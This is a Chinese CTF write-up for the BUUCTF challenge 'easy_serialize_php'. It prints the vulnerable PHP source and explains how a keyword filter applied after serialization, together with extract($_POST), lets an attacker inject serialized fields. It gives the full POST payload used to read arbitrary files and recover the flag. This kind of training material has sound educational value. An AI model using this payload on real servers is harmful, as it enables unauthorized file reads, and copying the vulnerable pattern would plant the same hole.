BUUCTF [安洵杯 2019]easy_serialize_php
考点:
变量覆盖、反序列化中的对象逃逸
题目地址:BUUCTF在线评测
源码如下:
<?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}
传入参数为phpinfo,会eval执行phpinfo
发现了一个文件,d0g3_flag.php,后面待用。
分析源代码总结这道题思路如下:
通过利用file_get_contents来获取flag,往前推关键是$userinfo['img']这个变量要是个文件才可以。这个变量是serialize_info反序列化来的。然而 serialize_info又是_SESSION序列化在经过filter函数得来的。又因为$userinfo['img']有img这个键值,那么往前推应该是 _SESSION这个变量里也要有img这个键值。
大体分析清楚后,明白这里就有利用的空间了:
$serialize_info = filter(serialize($_SESSION));//
数据经过序列化了之后又经过了一层过滤函数,而这层过滤函数会干扰序列化后的数据。
任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。
fiter函数过滤'php','flag','php5','php4','fl1g'这几个,所以我们待会可以控制序列化连里的某些键值为过滤的这些:'php','flag','php5','php4','fl1g',导致其长度与前面的数量不匹配,进而会和后面的键值对结合,造成反序列化对象逃逸。这里到构造序列化链时在细说。
可以通过控制_SESSION变量的img键值为含有flag的某个文件,最后赋值给到$userinfo['img'],那一经file_get_contents读取便可拿到flag。
知道怎么利用img参数了,这里有几个注意的地方如下:
if(!$_GET['img_path']){//$_GET['img_path'] 为空情况下会默认给定一个图片文件名 然后进行base64编码 赋值给SESSION$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}//这里对接收到的img文件名进行base64编码和sha1加密
这里会对强行给img键值赋值,但是不影响,当用POST__传参新的序列化值进去后, extract($POST);这个函数会将构造的新的键值重新赋值给img,这里就是变量覆盖了。
构造开始,首先构造序列化链:
因为$userinfo['img']是要经过base解码的,所以我们要将待会给img键值赋值时应先进行编码:
先利用刚刚得到的d0g3_f1ag.php,先读一下这个文件,它的 base64编码是ZDBnM19mMWFnLnBocA==
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
得到: "a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"**
令user值为'flagflagflagflagflagflag'
function值为:'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}'
img值不变,即:
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';
序列化得到:
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
因为flag被过滤了,所以最终序列化链应该为:
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
可以看到,user的内容长度依旧为24,但是已经没有内容了,所以反序列化时会自动往后读取24位:会读取到上图的位置,然后结束,由于user的序列化内容读取数据时需要往后填充24位,导致后面function的内容也发生了改变,吞掉了其双引号,导致我们可以控制后面的序列化内容。这里引用原文的解释:安洵杯2019 官方Writeup(Web/Misc) - D0g3 - 先知社区。
php反序列化时,当一整段内容反序列化结束后,后面的非法字符将会被忽略,而如何判断是否结束呢,可以看到,前面有一个a:3,表示序列化的内容是一个数组,有三个键,而以{作为序列化内容的起点,}作为序列化内容的终点。
所以此时后面的";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
在反序列化时就会被当作非法字符忽略掉,导致我们可以控制$userinfo["img"]的值,达到任意文件读取的效果。
分析完毕,最终构造如下:
url?file参数应该为show_image,下面的语句才会成立。
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}
POST传的参数如下:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';
f12查看源代码:
提示flag在/d0g3_fllllllag里面,对d0g3_fllllllag进行base64编码:
L2QwZzNfZmxsbGxsbGFn,
再次构造参数,拿到flag。
最后这里还有个小疑问:
看别人构造的时候,发现&$_SESSION['img'] = 'L2QwZzNfZmxsbGxsbGFn';不用传进去也可以拿到flag:
那么序列化的时候不就成了只有两个键进行序列化,那最后的";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}根本没有出现呀,那又怎么会构成反序列化对象img逃逸,被赋值为L3VwbG9hZC9ndWVzdF9pbWcuanBn??那后面的img不是mei有赋到值吗???( 本人新手小白,希望大佬们不吝赐教,这里为啥是这样)
ps:
若引用文章侵权,麻烦您第一时间跟我联系,我好删改,本人ctf新手,还望师傅们不吝赐教,欢迎斧正!感谢阅读。
BUUCTF [安洵杯 2019]easy_serialize_php相关推荐
- 【BUUCTF】[安洵杯 2019]吹着贝斯扫二维码
题目链接:[安洵杯 2019]吹着贝斯扫二维码. 下载压缩包解压得到这么一些文件,可以看到一堆未知类型文件和一个flag.zip 老规矩,把这些没有拓展名的文件用010Editor打开,发现都是jpg ...
- BUUCTF:[安洵杯 2019]不是文件上传
这题和攻防世界XCTF:upload有点像,看似上传却都不是上传是上传图片的文件名注入 参考:安洵杯2019 官方Writeup 获取源码 在网站首页存在一些信息 在gihtub找得到源码 BUU也给 ...
- [安洵杯 2019]吹着贝斯扫二维码
[安洵杯 2019]吹着贝斯扫二维码 压缩包解压后得到一些无后缀文件,和一个flag.zip 查看flag.zip内容发现尾部有类似base32的数据,先不管去看那些文件(这题其实可以用不到其他文件) ...
- [安洵杯 2019]iamthinking
/www.zip下载源码审计 通过README可以看到是ThinkPHP6.0. 当前只能访问到/public/index.php, 关于这个框架的index.php [thinkphp6源码分析一 ...
- BUUCTF:[安洵杯 2019]吹着贝斯扫二维码
题目地址:https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]%E5%90%B9%E7%9D%80%E8%B4%9D%E6% ...
- BUUCTF msic 专题(115)[安洵杯 2019]easy misc
下载附件,有三个文件,依次查看 图片中发现了两个IEND证明应该有两张图片拼成了这一张,进行foremost 发现有两张一样的图片,stegsolve查看分离出的图片 很明显的盲水印,用blindwa ...
- 第二届安洵杯2019部分writeup
Web easy_web 参数可疑:?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= TXpVek5UTTFNbVUzTURabE5qYz0进行两次base64解密, ...
- 【安洵杯 2019】easy-web
涉及内容:base64解码.代码审计.MD5强类型注入.命令注入绕过 打开控制器,查看源代码,可以看到md5 is funny,可知这题应该会出现MD5 其余信息一无所获后,看到网站: 看到img=T ...
- [安洵杯 2019]Attack (详细解析)
(*本文使用工具,均为windows系统,这些工具kali系统自带,有的人不喜欢用kali系统,主页有windows下载资源) 题目链接: https://buuoj.cn/challenges#[% ...
最新文章
- adobe就不敢把融合做得更好一点?
- 从0到1,了解NLP中的文本相似度
- 带你从源码角度分析ViewGroup中事件分发流程
- 机器学习/梯度下降算法
- ***工具CC***的思路及防范方法
- 删除bin后,Eclipse重新编译项目
- 【ArcGIS Pro微课1000例】0003:ArcGIS pro 2.5加载OSGB点云模型案例教程
- 丢瓶盖(洛谷-P1316)
- 39 MM配置-采购-采购订单-STO配置-定义工厂的装运数据
- Request 对象、重定向、请求转发
- 【算法】剑指 Offer 66. 构建乘积数组
- NFC技术:Android中的NFC技术
- 屏蔽 已阅读59% 前往新浪新闻查看全文
- 【存档】使用OllyDbg+ResHack+LordPE来修改EXE文件
- radius源码下载
- 博士申请 | 上海交通大学自然科学研究院洪亮教授招收深度学习方向博士生
- 地震勘探算法matlab,SeismicLab 地震勘探,matlab程序包, 地球物理, 学。作图工具等。 249万源代码下载- www.pudn.com...
- 云计算机是什么技术,什么是云计算技术?
- Win11删除文件时提示需要管理员权限
- 2021朝阳启声学校高考成绩查询,梦在前方 路在脚下 ———潮阳启声学校2019届高考80天誓师大会...